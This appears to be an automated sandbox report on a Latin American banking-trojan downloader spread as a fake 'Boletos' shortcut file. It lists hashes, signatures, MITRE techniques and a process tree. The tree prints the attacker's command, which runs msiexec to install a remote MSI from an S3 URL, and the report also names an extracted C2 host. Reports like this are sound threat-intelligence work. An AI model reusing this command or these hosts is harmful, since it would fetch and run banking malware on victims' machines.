latam_generic_downloader | c4919fddd43c203fef53a99e165c08dd26cc595693d293af25c11d21baec49de

General

Target

BoIetos - 16-11.lnk
Size

1KB
MD5

679deb658850ade14d991d11fc17fd79
SHA1

9ba091d7556fbc8b2c254452344b4c4b2353fbad
SHA256

c4919fddd43c203fef53a99e165c08dd26cc595693d293af25c11d21baec49de
SHA512

71dfb75bef210abe99af5390ca3748b637dc0310ff2d7a68cf04ff2c80523a293d9d951457cfd37a6ffbba95d5cca27c6bd51c54042bba53df5f9bc25e193089

Score

10^/10

latam_generic_downloader banker loader

Malware Config

Extracted

Family

latam_generic_downloader

C2

http://ec2-52-53-236-128.us-west-1.compute.amazonaws.com/softcom.base

Signatures

Generic LATAM Downloader
Generic Latin American MSI downloader used to drop various banking trojans.
loader banker latam_generic_downloader
Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exeMsiExec.exe

flow pid process

13 3884 msiexec.exe
23 4368 MsiExec.exe
Loads dropped DLL 2 IoCs

Processes:

MsiExec.exe

pid process

4368 MsiExec.exe
4368 MsiExec.exe
Use of msiexec (install) with remote resource 1 IoCs

Processes:

msiexec.exe

pid process

3884 msiexec.exe

flow	pid	process
13	3884	msiexec.exe
23	4368	MsiExec.exe

pid	process
4368	MsiExec.exe
4368	MsiExec.exe

pid	process
3884	msiexec.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Drops file in Windows directory 4 IoCs

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI9348.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI97AE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI905A.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 38 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	3884	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3884	msiexec.exe
Token: SeRestorePrivilege	3884	msiexec.exe
Token: SeTakeOwnershipPrivilege	3884	msiexec.exe
Token: SeSecurityPrivilege	4424	msiexec.exe
Token: SeCreateTokenPrivilege	3884	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3884	msiexec.exe
Token: SeLockMemoryPrivilege	3884	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3884	msiexec.exe
Token: SeMachineAccountPrivilege	3884	msiexec.exe
Token: SeTcbPrivilege	3884	msiexec.exe
Token: SeSecurityPrivilege	3884	msiexec.exe
Token: SeTakeOwnershipPrivilege	3884	msiexec.exe
Token: SeLoadDriverPrivilege	3884	msiexec.exe
Token: SeSystemProfilePrivilege	3884	msiexec.exe
Token: SeSystemtimePrivilege	3884	msiexec.exe
Token: SeProfSingleProcessPrivilege	3884	msiexec.exe
Token: SeIncBasePriorityPrivilege	3884	msiexec.exe
Token: SeCreatePagefilePrivilege	3884	msiexec.exe
Token: SeCreatePermanentPrivilege	3884	msiexec.exe
Token: SeBackupPrivilege	3884	msiexec.exe
Token: SeRestorePrivilege	3884	msiexec.exe
Token: SeShutdownPrivilege	3884	msiexec.exe
Token: SeDebugPrivilege	3884	msiexec.exe
Token: SeAuditPrivilege	3884	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3884	msiexec.exe
Token: SeChangeNotifyPrivilege	3884	msiexec.exe
Token: SeRemoteShutdownPrivilege	3884	msiexec.exe
Token: SeUndockPrivilege	3884	msiexec.exe
Token: SeSyncAgentPrivilege	3884	msiexec.exe
Token: SeEnableDelegationPrivilege	3884	msiexec.exe
Token: SeManageVolumePrivilege	3884	msiexec.exe
Token: SeImpersonatePrivilege	3884	msiexec.exe
Token: SeCreateGlobalPrivilege	3884	msiexec.exe
Token: SeRestorePrivilege	4424	msiexec.exe
Token: SeTakeOwnershipPrivilege	4424	msiexec.exe
Token: SeRestorePrivilege	4424	msiexec.exe
Token: SeTakeOwnershipPrivilege	4424	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

3884 msiexec.exe
3884 msiexec.exe

pid	process
3884	msiexec.exe
3884	msiexec.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exemsiexec.exe

description	pid	process	target process
PID 3568 wrote to memory of 3884	3568	cmd.exe	msiexec.exe
PID 3568 wrote to memory of 3884	3568	cmd.exe	msiexec.exe
PID 4424 wrote to memory of 4368	4424	msiexec.exe	MsiExec.exe
PID 4424 wrote to memory of 4368	4424	msiexec.exe	MsiExec.exe
PID 4424 wrote to memory of 4368	4424	msiexec.exe	MsiExec.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\BoIetos - 16-11.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:3568

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "https://yd2.s3.eu-central-1.amazonaws.com/lnstaIIog.msi"
2⤵
- Blocklisted process makes network request
- Use of msiexec (install) with remote resource
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3884

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C1742C18EA2E86C52E07F078B2550C83
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:4368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Windows\Installer\MSI905A.tmp
MD5
6c987b189e48785533c1513488d9955b

SHA1
676f1ecac88f11f42673329a35c1d77351890869

SHA256
f67a12cfac8cc2bd55220006aaef6f26bcb1d46dd5229344c9e56bf547755f5f

SHA512
665ffba92e50a9878dbf49590297cd51e49496d69c71a3141db77f2da0f57f060fef422a483ffbf7195181b190f4a00bd4e415576e64ae8891fbf2fd6a65f8c5

Download Submit
C:\Windows\Installer\MSI9348.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
C:\Windows\Installer\MSI97AE.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
\Windows\Installer\MSI9348.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
\Windows\Installer\MSI97AE.tmp
MD5
9f1e5d66c2889018daef4aef604eebc4

SHA1
b80294261c8a1635e16e14f55a3d76889ff2c857

SHA256
02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

SHA512
8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

Download Submit
memory/3884-119-0x000001A74DF50000-0x000001A74DF52000-memory.dmp

Filesize
8KB

Download
memory/3884-120-0x000001A74DF50000-0x000001A74DF52000-memory.dmp

Filesize
8KB

Download
memory/3884-118-0x0000000000000000-mapping.dmp

Download
memory/4368-124-0x0000000000000000-mapping.dmp

Download
memory/4368-126-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

Filesize
4KB

Download
memory/4368-125-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

Filesize
4KB

Download
memory/4424-121-0x0000028085A60000-0x0000028085A62000-memory.dmp

Filesize
8KB

Download
memory/4424-122-0x0000028085A60000-0x0000028085A62000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads